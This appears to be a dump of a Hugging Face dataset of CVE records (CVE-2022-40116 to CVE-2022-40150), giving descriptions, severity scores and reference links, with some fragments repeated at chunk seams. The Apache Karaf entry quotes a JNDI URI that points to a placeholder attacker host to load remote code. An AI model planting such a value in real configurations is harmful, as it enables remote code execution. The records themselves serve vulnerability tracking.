Kushalkhemka/embedding-cve-nvd-dataset huggingface dataset:
CVE ID: CVE-2022-40116 State: PUBLISHED Published: 2022-09-23T21:16:08.000Z Last Updated: 2025-05-21T18:02:21.893Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/beneficiary.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/13 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection9.md
CVE ID: CVE-2022-40117 State: PUBLISHED Published: 2022-09-23T21:16:08.000Z Last Updated: 2025-05-22T14:45:10.577Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_customer.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/17 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection2.md
CVE ID: CVE-2022-40118 State: PUBLISHED Published: 2022-09-23T21:16:10.000Z Last Updated: 2025-05-22T14:44:28.651Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/send_funds_action.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/19 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection4.md
CVE ID: CVE-2022-40119 State: PUBLISHED Published: 2022-09-23T21:16:10.000Z Last Updated: 2025-05-22T14:43:48.155Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/transactions.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/11 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection6.md
CVE ID: CVE-2022-40120 State: PUBLISHED Published: 2022-09-23T21:16:11.000Z Last Updated: 2025-05-22T14:43:10.747Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/customer_transactions.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/14 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection7.md
CVE ID: CVE-2022-40121 State: PUBLISHED Published: 2022-09-23T21:16:11.000Z Last Updated: 2025-05-22T14:42:28.400Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/manage_customers.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/12 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection8.md
CVE ID: CVE-2022-40122 State: PUBLISHED Published: 2022-09-23T21:16:12.000Z Last Updated: 2025-05-22T14:16:36.182Z Vendors: n/a Products: n/a Problem Types: n/a Description: Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/edit_customer_action.php. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/zakee94/online-banking-system/issues/15 - https://github.com/0clickjacking0/BugReport/blob/main/online-banking-system/sql_injection10.md
CVE ID: CVE-2022-40123 State: PUBLISHED Published: 2022-10-03T12:50:02 Last Updated: 2024-08-03T12:14:39.736Z Vendors: n/a Products: n/a Problem Types: n/a Description: mojoPortal v2.7 was discovered to contain a path traversal vulnerability via the "f" parameter at /DesignTools/CssEditor.aspx. This vulnerability allows authenticated attackers to read arbitrary files in the system. Additional Analyst Notes: - CVE Program Container: References: - http://mojoportal.com - https://weed-1.gitbook.io/cve/mojoportal/directory-traversal-in-mojoportal-v2.7-cve-2022-40123
CVE ID: CVE-2022-40126 State: PUBLISHED Published: 2022-09-29T11:48:01.000Z Last Updated: 2025-05-21T14:17:40.810Z Vendors: n/a Products: n/a Problem Types: n/a Description: A misconfiguration in the Service Mode profile directory of Clash for Windows v0.19.9 allows attackers to escalate privileges and execute arbitrary commands when Service Mode is activated. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/Fndroid/clash_for_windows_pkg/issues/3405
CVE ID: CVE-2022-40127 State: PUBLISHED Published: 2022-11-14T00:00:00.000Z Last Updated: 2025-04-30T18:58:45.160Z Vendors: Apache Software Foundation Products: Apache Airflow Problem Types: CWE-94 Description: A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/apache/airflow/pull/25960 - https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy - http://www.openwall.com/lists/oss-s
flow/pull/25960 - https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy - http://www.openwall.com/lists/oss-security/2022/11/14/2
CVE ID: CVE-2022-40128 State: PUBLISHED Published: 2022-11-08T18:15:18.157Z Last Updated: 2025-02-20T19:56:04.574Z Severity: MEDIUM (CVSS 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) Vendors: AlgolPlus Products: Advanced Order Export For WooCommerce (WordPress plugin) Problem Types: CWE-352 Description: Cross-Site Request Forgery (CSRF) vulnerability in Advanced Order Export For WooCommerce plugin <= 3.3.2 on WordPress leading to export file download. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://wordpress.org/plugins/woo-order-export-lite/ - https://patchstack.com/database/vulnerability/woo-order-export-lite/wordpress-advanced-order-e
/woo-order-export-lite/ - https://patchstack.com/database/vulnerability/woo-order-export-lite/wordpress-advanced-order-export-for-woocommerce-plugin-3-3-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve
CVE ID: CVE-2022-40129 State: PUBLISHED Published: 2022-11-21T16:05:38.215Z Last Updated: 2025-04-15T18:39:51.574Z Severity: HIGH (CVSS 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Vendors: Foxit Products: Foxit Reader Problem Types: CWE-416 Description: A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 12.0.1.12430. A specially-crafted PDF document can trigger the reuse of previously freed memory via misusing Optional Content Group API, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a speciall
into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1614
CVE ID: CVE-2022-40130 State: PUBLISHED Published: 2022-11-18T22:31:42.678Z Last Updated: 2025-02-20T19:49:58.013Z Severity: MEDIUM (CVSS 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) Vendors: Lester 'GaMerZ' Chan Products: WP-Polls (WordPress plugin) Problem Types: Race condition Description: Auth. (subscriber+) Race Condition vulnerability in WP-Polls plugin <= 2.76.0 on WordPress. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/vulnerability/wp-polls/wordpress-wp-polls-plugin-2-76-0-race-condition-vulnerability?_s_id=cve - https://wordpress.org/plugins/wp-polls/#developers
CVE ID: CVE-2022-40131 State: PUBLISHED Published: 2022-11-03T19:26:22.217Z Last Updated: 2025-02-20T19:57:03.822Z Severity: MEDIUM (CVSS 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) Vendors: a3rev Software Products: Page View Count (WordPress plugin) Problem Types: CWE-352 Description: Cross-Site Request Forgery (CSRF) vulnerability in a3rev Software Page View Count plugin <= 2.5.5 on WordPress allows an attacker to reset the plugin settings. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/vulnerability/page-views-count/wordpress-page-view-count-plugin-2-5-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve
rability/page-views-count/wordpress-page-view-count-plugin-2-5-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve - https://wordpress.org/plugins/page-views-count/#developers
CVE ID: CVE-2022-40132 State: PUBLISHED Published: 2022-09-23T18:34:04.655Z Last Updated: 2025-02-20T20:00:48.838Z Severity: MEDIUM (CVSS 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) Vendors: Castos Products: Seriously Simple Podcasting (WordPress plugin) Problem Types: CWE-352 Description: Cross-Site Request Forgery (CSRF) vulnerability in Seriously Simple Podcasting plugin <= 2.16.0 at WordPress, leading to plugin settings change. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://patchstack.com/database/vulnerability/seriously-simple-podcasting/wordpress-seriously-simple-podcasting-plugin-2-16-0-cross-site-request-forgery-csrf-vulnerabil
riously-simple-podcasting/wordpress-seriously-simple-podcasting-plugin-2-16-0-cross-site-request-forgery-csrf-vulnerability/_s_id=cve - https://wordpress.org/plugins/seriously-simple-podcasting/#developers
CVE ID: CVE-2022-40133 State: PUBLISHED Published: 2022-09-09T14:39:51.501308Z Last Updated: 2024-09-17T03:49:24.624Z Severity: MEDIUM (CVSS 6.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H) Vendors: Linux Products: kernel Problem Types: CWE-416 Description: A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS). Additional Analyst Notes: - CVE Program Container: References: - https://bugzilla.openanolis.cn/show_bug.cgi?id=207
oS). Additional Analyst Notes: - CVE Program Container: References: - https://bugzilla.openanolis.cn/show_bug.cgi?id=2075
CVE ID: CVE-2022-40134 State: PUBLISHED Published: 2023-01-30T21:20:25.236Z Last Updated: 2025-03-27T15:26:52.831Z Severity: MEDIUM (CVSS 4.4 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N) Vendors: Lenovo Products: BIOS Problem Types: CWE-125 Description: An information leak vulnerability in the SMI Set BIOS Password SMI Handler in some Lenovo models may allow an attacker with local access and elevated privileges to read SMM memory. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://support.lenovo.com/us/en/product_security/LEN-94953
CVE ID: CVE-2022-40135 State: PUBLISHED Published: 2023-01-30T21:20:33.347Z Last Updated: 2025-03-27T15:26:04.196Z Severity: MEDIUM (CVSS 4.4 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N) Vendors: Lenovo Products: BIOS Problem Types: CWE-125 Description: An information leak vulnerability in the Smart USB Protection SMI Handler in some Lenovo models may allow an attacker with local access and elevated privileges to read SMM memory. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://support.lenovo.com/us/en/product_security/LEN-94953
CVE ID: CVE-2022-40136 State: PUBLISHED Published: 2023-01-30T21:20:45.280Z Last Updated: 2025-03-27T15:25:10.981Z Severity: MEDIUM (CVSS 4.4 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N) Vendors: Lenovo Products: BIOS Problem Types: CWE-125 Description: An information leak vulnerability in SMI Handler used to configure platform settings over WMI in some Lenovo models may allow an attacker with local access and elevated privileges to read SMM memory. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://support.lenovo.com/us/en/product_security/LEN-94953
CVE ID: CVE-2022-40137 State: PUBLISHED Published: 2023-01-30T21:26:55.123Z Last Updated: 2025-03-27T15:20:30.117Z Severity: MEDIUM (CVSS 6.7 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Vendors: Lenovo Products: BIOS Problem Types: CWE-120 Description: A buffer overflow in the WMI SMI Handler in some Lenovo models may allow an attacker with local access and elevated privileges to execute arbitrary code. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://support.lenovo.com/us/en/product_security/LEN-94953
CVE ID: CVE-2022-40138 State: PUBLISHED Published: 2022-10-11T00:00:00 Last Updated: 2024-08-03T12:14:39.797Z Vendors: Facebook Products: Hermes Problem Types: CWE-681 Description: An integer conversion error in Hermes bytecode generation, prior to commit 6aa825e480d48127b480b08d13adf70033237097, could have been used to perform Out-Of-Bounds operations and subsequently execute arbitrary code. Note that this is only exploitable in cases where Hermes is used to execute untrusted JavaScript. Hence, most React Native applications are not affected. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/facebook/hermes/commit/6aa825e480d48127b480b08d13adf70033237097 -
E Program Container: References: - https://github.com/facebook/hermes/commit/6aa825e480d48127b480b08d13adf70033237097 - https://www.facebook.com/security/advisories/CVE-2022-40138
CVE ID: CVE-2022-40139 State: PUBLISHED Published: 2022-09-19T18:01:01.000Z Last Updated: 2025-10-21T23:15:35.268Z Vendors: Trend Micro Products: Trend Micro Apex One Problem Types: Improper Validation Description: Improper validation of some components used by the rollback mechanism in Trend Micro Apex One and Trend Micro Apex One as a Service clients could allow a Apex One server administrator to instruct affected clients to download an unverified rollback package, which could lead to remote code execution. Please note: an attacker must first obtain Apex One server administration console access in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: - CIS
stration console access in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://success.trendmicro.com/solution/000291528
CVE ID: CVE-2022-40140 State: PUBLISHED Published: 2022-09-19T18:01:02 Last Updated: 2024-08-03T12:14:39.803Z Vendors: Trend Micro Products: Trend Micro Apex One Problem Types: Origin Validation Error DoS Description: An origin validation error vulnerability in Trend Micro Apex One and Apex One as a Service could allow a local attacker to cause a denial-of-service on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - https://success.trendmicro.com/solution/000291528 - https://www.zerodayinitiative.com/advisori
Container: References: - https://success.trendmicro.com/solution/000291528 - https://www.zerodayinitiative.com/advisories/ZDI-22-1189/
CVE ID: CVE-2022-40141 State: PUBLISHED Published: 2022-09-19T18:01:03 Last Updated: 2024-08-03T12:14:39.954Z Vendors: Trend Micro Products: Trend Micro Apex One Problem Types: Information Disclosure Description: A vulnerability in Trend Micro Apex One and Apex One as a Service could allow an attacker to intercept and decode certain communication strings that may contain some identification attributes of a particular Apex One server. Additional Analyst Notes: - CVE Program Container: References: - https://success.trendmicro.com/solution/000291528
CVE ID: CVE-2022-40142 State: PUBLISHED Published: 2022-09-19T18:01:04 Last Updated: 2024-08-03T12:14:39.779Z Vendors: Trend Micro Products: Trend Micro Apex One Problem Types: Agent Link Following LPE Description: A security link following local privilege escalation vulnerability in Trend Micro Apex One and Trend Micro Apex One as a Service agents could allow a local attacker to create a writable folder in an arbitrary location and escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - http
get system in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - https://success.trendmicro.com/solution/000291528 - https://www.zerodayinitiative.com/advisories/ZDI-22-1190/
CVE ID: CVE-2022-40143 State: PUBLISHED Published: 2022-09-19T18:01:05 Last Updated: 2024-08-03T12:14:39.963Z Vendors: Trend Micro Products: Trend Micro Apex One Problem Types: Link Following LPE Description: A link following local privilege escalation vulnerability in Trend Micro Apex One and Trend Micro Apex One as a Service servers could allow a local attacker to abuse an insecure directory that could allow a low-privileged user to run arbitrary code with elevated privileges. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - http
get system in order to exploit this vulnerability. Additional Analyst Notes: - CVE Program Container: References: - https://success.trendmicro.com/solution/000291528 - https://www.zerodayinitiative.com/advisories/ZDI-22-1191/
CVE ID: CVE-2022-40144 State: PUBLISHED Published: 2022-09-19T00:00:00 Last Updated: 2024-08-03T12:14:39.823Z Vendors: Trend Micro Products: Trend Micro Apex One Problem Types: Login Authentication Bypass Description: A vulnerability in Trend Micro Apex One and Trend Micro Apex One as a Service could allow an attacker to bypass the product's login authentication by falsifying request parameters on affected installations. Additional Analyst Notes: - CVE Program Container: References: - https://success.trendmicro.com/solution/000291528 - https://jvn.jp/en/jp/JVN36454862/index.html - https://appweb.trendmicro.com/SupportNews/NewsDetail.aspx?id=4553 - https://www.ipa.go.jp/security/ciadr/vul/202
.html - https://appweb.trendmicro.com/SupportNews/NewsDetail.aspx?id=4553 - https://www.ipa.go.jp/security/ciadr/vul/20220913-jvn.html
CVE ID: CVE-2022-40145 State: PUBLISHED Published: 2022-12-21T15:23:42.847Z Last Updated: 2025-04-15T18:03:47.618Z Vendors: Apache Software Foundation Products: Apache Karaf Problem Types: CWE-74, CWE-20 Description: This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTe
Source.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8 Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://karaf.apache.org/security/cve-2022-40145.txt
CVE ID: CVE-2022-40146 State: PUBLISHED Published: 2022-09-22T00:00:00.000Z Last Updated: 2025-11-03T19:27:34.505Z Vendors: Apache Software Foundation Products: Apache XML Graphics Problem Types: CWE-918 Description: Server-Side Request Forgery (SSRF) vulnerability in Batik of Apache XML Graphics allows an attacker to access files using a Jar url. This issue affects Apache XML Graphics Batik 1.14. Additional Analyst Notes: - CVE Program Container: References: - https://lists.apache.org/thread/hxtddqjty2sbs12y97c8g7xfh17jzxsx - https://lists.debian.org/debian-lts-announce/2023/10/msg00021.html - https://security.gentoo.org/glsa/202401-11
CVE ID: CVE-2022-40147 State: PUBLISHED Published: 2022-10-11T00:00:00 Last Updated: 2024-08-03T12:14:39.697Z Vendors: Siemens Products: Industrial Edge Management Problem Types: CWE-295 Description: A vulnerability has been identified in Industrial Edge Management (All versions < V1.5.1). The affected software does not properly validate the server certificate when initiating a TLS connection. This could allow an attacker to spoof a trusted entity by interfering in the communication path between the client and the intended server. Additional Analyst Notes: - CVE Program Container: References: - https://cert-portal.siemens.com/productcert/pdf/ssa-649853.pdf
CVE ID: CVE-2022-40148 State: REJECTED Published: N/A Last Updated: 2023-03-01T00:00:00 Description: No description available.
CVE ID: CVE-2022-40149 State: PUBLISHED Published: 2022-09-16T00:00:00.000Z Last Updated: 2025-04-21T13:49:51.304Z Severity: MEDIUM (CVSS 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) Vendors: Jettison Products: Jettison Problem Types: CWE-121 Description: Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46
- CVE Program Container: - CISA ADP Vulnrichment: References: - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46538 - https://github.com/jettison-json/jettison/issues/45 - https://lists.debian.org/debian-lts-announce/2022/11/msg00011.html - https://www.debian.org/security/2023/dsa-5312
CVE ID: CVE-2022-40150 State: PUBLISHED Published: 2022-09-16T00:00:00.000Z Last Updated: 2025-04-21T13:49:44.353Z Severity: MEDIUM (CVSS 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) Vendors: Jettison Products: Jettison Problem Types: CWE-400 Description: Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/jettison-json/jettison/issues/45 - ht
- CVE Program Container: - CISA ADP Vulnrichment: References: - https://github.com/jettison-json/jettison/issues/45 - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46549 - https://lists.debian.org/debian-lts-announce/2022/12/msg00045.html - https://www.debian.org/security/2023/dsa-5312